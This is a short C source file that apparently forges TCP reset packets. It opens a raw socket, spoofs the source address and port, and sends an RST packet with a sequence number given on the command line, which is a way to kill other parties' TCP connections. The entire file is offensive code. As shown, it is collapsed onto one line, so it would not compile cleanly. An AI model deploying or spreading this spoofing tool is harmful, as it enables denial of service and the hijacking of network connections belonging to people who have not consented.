#include "tcpip.h" /* #include "/usr/src/see/srvent.h" */ void sendpack(char *fromhost, int fromport, char *tohost, int toport, u_long seqnz) { char *packet; char *tcppacket; char *sendme; static struct sockaddr_in local, remote; static int sock = 0; if (!sock) { resolve_address((struct sockaddr *)&local, fromhost, fromport); resolve_address((struct sockaddr *)&remote, tohost, toport); sock = socket(AF_INET, SOCK_RAW, 255); if (sock == -1) { perror("Getting raw socket"); exit(-1); } } tcppacket = create_tcp(local.sin_port, remote.sin_port, seqnz, 0, TH_RST, NULL, 0); packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr, 6, 24, 4, tcppacket, 20); { int result; result = sendto(sock, packet, 40, 0, (struct sockaddr *)&remote, sizeof(remote)); if (result != 40) { perror("sending packet"); } } } main(int argc, char **argv) { if (argc!=6) { printf("usage: %s \n", argv[0]); exit(-1); } #ifdef SERVPORTIE printf("fake: %s.%s --> %s.%s\n", argv[1], tcp_servport(atoi(argv[2])), argv[3], tcp_servport(atoi(argv[4]))); #else printf("fake: %s.%d --> %s.%d\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); #endif sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), atol(argv[5])); }